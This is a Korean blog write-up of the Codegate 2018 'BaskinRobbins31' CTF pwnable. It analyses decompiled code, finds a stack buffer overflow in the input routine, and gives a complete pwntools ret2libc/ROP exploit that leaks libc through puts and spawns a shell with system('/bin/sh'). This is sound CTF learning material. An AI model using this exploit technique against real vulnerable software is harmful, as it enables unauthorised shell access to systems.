| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- Webhacking #CTF #Write-up #WolvCTF
- pointer
- 포인터_보고서
- Systemhacking #Pwnable #CTF #Write-up #WolvCTF
- Layer7 #해킹 #동아리 #시연회 #부엉이
- dreamhack #rev-basic #reversing
- amd64 #x86-64 #x64 #레지스터 #컴퓨터 구조
- 이너
- Today
- Total
stxxp
Codegate 2018, BaskinRobbins31 본문
Main code
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v5; // [rsp+8h] [rbp-8h]
_BOOL4 v6; // [rsp+Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = time(0LL);
srand(v3);
v5 = 31;
v6 = 0;
puts("### This game is similar to the BaskinRobins31 game. ###");
puts("### The one that take the last match win ###");
printf("There are %u number(s)\n", 31LL);
while ( (int)v5 > 0 )
{
if ( v6 )
{
my_turn(&v5);
v6 = 0;
}
else
{
v6 = (unsigned __int64)your_turn(&v5) != 0;
}
printf("remaining number(s) : %i \n", v5);
}
if ( v6 )
{
puts("Wow! You win!");
puts("Hint is : ROP");
}
else
{
puts("You lose!");
}
return 0;
}
|
한 번쯤은 들어봤을 그 베스킨라빈스 31 게임이지만 우리가 절대 못 이기도록 만들어져 있다고 합니다.
1. 코드 분석
코드를 보면 setvbuf를 0LL로 설정해준 것이 보이는데 이 0LL은 C와 C++의 상수이고 뒤에 LL이 long long 타입을 의미하며 UL은 unsigned long 타입을 의미한다고 합니다.
srand() 함수는 rand() 함수에 사용되는 수를 초기화하는 역할을 합니다.
rand() 은 완벽한 랜덤이 아닌데 매우 불규칙적으로 난수를 생성하기 때문에 예측이 거의 불가능해서 랜덤하다고 말합니다.
그렇기 때문에 초기화를 parameter(함수의 정의에서 전달받은 인수를 함수 내부로 전달해주기 위해 사용하는 변수)로 받는 seed라는 값을 이용해서 rand() 함수의 결과값을 변하게 해 줍니다.
이 코드에서는 컴퓨터가 랜덤한 숫자를 받아와서 게임을 할 때 쓰이는 것 같습니다.
v5는 게임 내에서 숫자를 카운트하는 것 같네요.
31부터 순서대로 내려와 1까지 반복됩니다. (1을 말하면 지게 되는 것)
my_turn 함수
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int __fastcall my_turn(int *a1)
{
int v1; // edx
unsigned int v3; // [rsp+1Ch] [rbp-4h]
if ( *a1 == 4 )
{
v3 = 4;
*a1 = 0;
puts("HUMMMMMMMMMMM");
sleep(1u);
puts("I got this!");
sleep(1u);
puts("HA! HA!");
sleep(1u);
}
else
{
if ( *a1 & 3 )
{
v3 = *a1 % 4;
v1 = *a1 - v3;
}
else
{
v3 = 1;
v1 = *a1 - 1;
}
*a1 = v1;
}
return printf("I've taken %i number(s)\n", v3);
}
|
cs |
my_turn() 함수입니다. 컴퓨터가 랜덤으로 수를 세도록 하는 함수 같은데 컴퓨터의 차례에서 4가 남았다면 숫자를 4개 선택하고 이겨버리는 것 같습니다. 절대로 이기지 못하는 이유가 있었네요.
your_turn 함수
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
__int64 __fastcall your_turn(_DWORD *a1)
{
__int64 result; // rax
char s; // [rsp+10h] [rbp-B0h]
size_t n; // [rsp+B0h] [rbp-10h]
int v4; // [rsp+BCh] [rbp-4h]
v4 = 0;
memset(&s, 0, 0x96uLL);
puts("How many numbers do you want to take ? (1-3)");
n = read(0, &s, 0x190uLL);
write(1, &s, n);
putchar(10);
v4 = strtoul(&s, 0LL, 10);
if ( (unsigned int)check_decision((unsigned int)(char)v4) )
{
*a1 -= v4;
result = 1LL;
}
else
{
puts("Don't break the rules...:( ");
result = 0LL;
}
return result;
}
|
cs |
your_turn 함수입니다. 유저의 입력을 받는 함수 같은데 read() 함수로 변수 s에 문자열을 입력받고 있습니다.
그런데 s의 크기가 0xb0인 반면, 입력은 0x190ull까지 받고 있습니다.
그렇다면 여기서 buffer overflow가 발생할 것 같습니다.

ELE로 보호 기법을 확인해보니 canary와 PIE가 없고 NX가 걸려있습니다.
NX-bit 보호 기법이 걸려있기 때문에 쉘코드를 바로 쓸 수 없습니다.
우리는 여기서 RTL 기법을 사용해 read() 함수에서 puts 함수를 leak 하고, system 함수의 주소와 문자열 "/bin/sh"의 주소를 구해야 합니다.
주소를 구한 후에는 read() 함수에서 system("/bin/sh")를 실행시키면 쉘을 딸 수 있습니다.

rdi(첫 번째 인자)를 구하기 위해 가젯을 찾는 과정입니다.
주소는 0x0000000000400bc3이네요.
2. Exploit code
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
e = ELF("./BaskinRobins31")
r = process("./BaskinRobins31")
libc = e.libc
gdb.attach(r)
rdi = 0x0000000000400bc3 #pop rdi ; ret
r.recv(1000) #출력하기 위해 먼저 입력을 1000개 받기
payload = ""
payload += ("A" * 0xb8) + p64(rdi) + p64(e.got["puts"]) + p64(e.plt["puts"]) + p64(e.symbols["main"]) #puts함수의 주소 알아내기
r.sendline(payload)
r.recvuntil("( \n")
l = u64(r.recv(6).ljust(8, "\x00")) - (libc.symbols["puts"]) #0x8만큼의 크기에 맞춰서 puts를 leak함(오프셋 구하는 과정)
system = l + libc.symbols["system"] #system 주소 구하기
sh = l + list(libc.search("/bin/sh"))[0] #문자열 주소 구하기
r.recv(1000)
payload = ""
payload += ("A" * 0xb8) + p64(rdi) + p64(sh) + p64(system)
r.sendline(payload)
r.interactive()
|
cs |

'Hacking' 카테고리의 다른 글
| [2021 Layer7 시연회] - 플래시 게임 해킹 (0) | 2021.02.28 |
|---|---|
| [2021 Layer7 시연회] - 네이트온 해킹 (0) | 2021.02.27 |
| NX-bit 예제 풀기 (with ASLR ON) (0) | 2020.08.27 |
| NX-bit 예제 풀기 (0) | 2020.08.25 |
| 간단한 바이너리 분석하기 (0) | 2020.07.12 |